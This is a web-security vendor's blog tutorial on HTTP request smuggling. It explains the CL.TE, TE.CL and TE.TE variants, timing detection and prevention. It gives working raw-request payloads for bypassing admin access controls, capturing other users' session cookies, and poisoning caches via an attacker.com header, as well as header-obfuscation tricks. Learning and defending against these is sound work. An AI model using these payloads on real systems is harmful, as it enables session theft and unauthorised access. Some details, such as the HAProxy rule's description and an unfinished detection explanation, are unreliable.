HTTP Request Smuggling: How to Find and Exploit CL.TE and TE.CL Vulnerabilities

HTTP request smuggling is one of the more counterintuitive web vulnerabilities to grasp because the attack doesn't target a specific endpoint in isolation — it exploits a disagreement between two servers (typically a front-end proxy and a back-end application server) about where one HTTP request ends and the next begins. When these servers parse the same byte stream differently, an attacker can "smuggle" a hidden request into the back-end server's queue, poisoning the next legitimate user's request.

The vulnerability surfaces wherever a reverse proxy, load balancer, or CDN sits in front of an origin server and both handle HTTP/1.1 connections with keep-alive. This is the default architecture for most production applications — which is why request smuggling has appeared in major bug bounty programs at Netflix, Salesforce, and payment processors.

The Mechanics: Why CL and TE Conflict

HTTP/1.1 defines two ways to specify a request body's length:

RFC 7230 says that when both headers are present, Transfer-Encoding takes precedence and Content-Length should be ignored. But different HTTP implementations handle this differently — some honor Content-Length, some honor Transfer-Encoding, and some handle neither correctly in edge cases.

The three attack variants are named after which server uses which header:

VariantFront-End UsesBack-End Uses
CL.TEContent-LengthTransfer-Encoding
TE.CLTransfer-EncodingContent-Length
TE.TETransfer-EncodingTransfer-Encoding (but one is confused by obfuscation)

CL.TE: Front-End Trusts Content-Length, Back-End Uses Chunked

The front-end reads exactly N bytes (as specified by Content-Length) and forwards them to the back-end. The back-end parses this as a chunked request, finding a smuggled request in what the front-end thought was just the body of the first request.

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

The front-end sees Content-Length: 13 and forwards 13 bytes of body (0\r\n\r\nSMUGGLED). The back-end parses this as chunked: chunk of size 0 (end of request), followed by SMUGGLED — which is now sitting at the start of the connection buffer, waiting to be prepended to the next incoming request.

TE.CL: Front-End Uses Chunked, Back-End Trusts Content-Length

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


The front-end parses this as chunked: a chunk of 8 bytes, then a terminating zero chunk. It forwards the entire thing to the back-end. The back-end sees Content-Length: 3 and reads only 8\r\n as the body (3 bytes), leaving the rest (SMUGGLED\r\n0\r\n\r\n) in the buffer as the start of the next request.

TE.TE: Obfuscation to Disable One Server's Chunked Parsing

When both servers support Transfer-Encoding, the attack uses obfuscated or malformed TE headers to make one server ignore the encoding and fall back to Content-Length:

# Obfuscation techniques that disable TE parsing in some implementations
Transfer-Encoding: xchunked
Transfer-Encoding : chunked          (space before colon)
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked       (tab character)
X: X[\n]Transfer-Encoding: chunked  (header injection)
Transfer-Encoding
: chunked                            (line-folded header)

The goal is for one server to ignore the malformed TE header and use Content-Length, while the other server still processes TE. This creates the CL/TE disagreement needed for smuggling.

Detection: Timing-Based Techniques

Safe detection uses timing attacks rather than actually poisoning other users' requests. The principle: if the server is parsing the body differently than expected, a crafted payload will cause a timeout or a delayed response.

CL.TE Detection (Time-Delay)

POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

If the server is CL.TE vulnerable: the front-end uses Content-Length (4 bytes: 1\r\nA\r\n... but wait, let's be precise). The front-end forwards based on Content-Length. The back-end processes chunked: chunk of 1 byte, then expects the terminating zero chunk, but there is none. The back-end hangs waiting for the rest of the chunked data. If the response is delayed by ~10 seconds, the server is CL.TE vulnerable.

TE.CL Detection (Time-Delay)

POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

The front-end uses TE: zero chunk ends the request, X is left in the buffer. The back-end uses CL: expects 6 bytes of body, but only receives 0\r\n\r\n (5 bytes), then waits for the remaining byte. Delayed response = TE.CL vulnerable.

Confirming With a Differential Response

Once you identify a timing-based signal, confirm with a differential response attack. Send a smuggled request that causes the next response to be different in a predictable way:

# CL.TE confirmation — smuggle a GET /404notexist request
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404notexist HTTP/1.1
Foo: x

Send this request twice in quick succession. If the second response returns a 404 (for the smuggled GET /404notexist) instead of the normal response, smuggling is confirmed. The smuggled request prepended itself to the second request's buffer.

Exploitation: What Smuggling Enables

Bypassing Front-End Security Controls

Front-end proxies often enforce access control, WAF rules, or header validation. A smuggled request reaches the back-end directly, bypassing these controls:

# Front-end blocks /admin/* — smuggle a direct back-end request
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 58
Transfer-Encoding: chunked

0

GET /admin/delete-user?id=1 HTTP/1.1
X-Ignore: x

If the front-end's ACL blocks /admin/* but the back-end serves it for "internal" requests, the smuggled request bypasses the access control entirely.

Capturing Other Users' Requests

This is the highest-impact exploitation technique. By smuggling a partial POST request, you cause the next legitimate user's request to be appended to your request body — which you can then read back in the response.

# Smuggle a partial POST to /capture-endpoint
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 123
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200  ← large enough to capture the next user's request

data=

The next user's request (including their cookies, session tokens, CSRF tokens, and request body) gets appended to data= and stored in your /capture endpoint's body. Retrieve it by requesting /capture. This is a session hijacking primitive that works without any XSS or phishing.

Web Cache Poisoning via Smuggling

Smuggling can poison the reverse proxy's cache, delivering malicious responses to all users who request a given URL:

# Poison the cache for GET /home
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 120
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com

If the back-end reflects X-Forwarded-Host in responses (common for canonical URLs, asset paths, or redirect targets), the poisoned response containing attacker.com references gets cached and served to all subsequent users requesting /home.

HTTP/2 and Request Smuggling

HTTP/2 has a binary frame format that eliminates the ambiguity of HTTP/1.1 header parsing. However, most back-end infrastructure still speaks HTTP/1.1. Front-ends that accept HTTP/2 from clients and downgrade to HTTP/1.1 for back-end connections are vulnerable to H2.CL and H2.TE smuggling variants:

# HTTP/2 request with injected Content-Length header
:method: POST
:path: /
:authority: vulnerable.com
content-length: 0   ← injected pseudo-header

GET /smuggled HTTP/1.1
Host: vulnerable.com

The HTTP/2 front-end may accept the injected content-length header and pass it through in the HTTP/1.1 downgrade, creating a CL.TE condition on the back-end. This is more difficult to test because most HTTP/2 libraries reject duplicate pseudo-headers — use Burp Suite's HTTP/2 support which allows sending non-compliant requests.

Testing with Burp Suite

Burp Suite's HTTP Request Smuggler extension (available from the BApp Store) automates detection across all variants. Key settings:

Prevention

Use HTTP/2 End-to-End

HTTP/2's binary framing eliminates the CL/TE ambiguity entirely. Use HTTP/2 between the front-end and back-end, not just between the client and front-end. Most modern CDNs and load balancers support HTTP/2 origin connections.

Normalize Ambiguous Requests at the Edge

Configure your reverse proxy to reject or normalize requests that contain both Content-Length and Transfer-Encoding headers:

# HAProxy — reject requests with both headers
frontend http-in
    http-request deny if { req.hdr_cnt(content-length) gt 1 }
    http-request deny if { req.hdr_cnt(transfer-encoding) gt 1 }

# Nginx — disable keep-alive to prevent connection reuse
proxy_http_version 1.0;
# Or explicitly:
proxy_set_header Connection close;

Close Back-End Connections After Each Request

Request smuggling requires connection reuse between the front-end and back-end. Disabling keep-alive on the back-end connection prevents smuggled requests from being queued:

# Nginx — use HTTP/1.0 for upstream connections (no keep-alive)
proxy_http_version 1.0;
proxy_set_header Connection "";

This has a performance cost (new TCP connection per request) but eliminates the attack surface entirely. For high-traffic applications, use HTTP/2 to the origin instead.

HTTP request smuggling is rarely caught by standard scanners because detection requires sending non-standard HTTP and interpreting timing responses. Ironimo's testing approach includes timing-based smuggling detection across CL.TE, TE.CL, and TE.TE variants — not just header presence checks.

Start free scan
← Back to Blog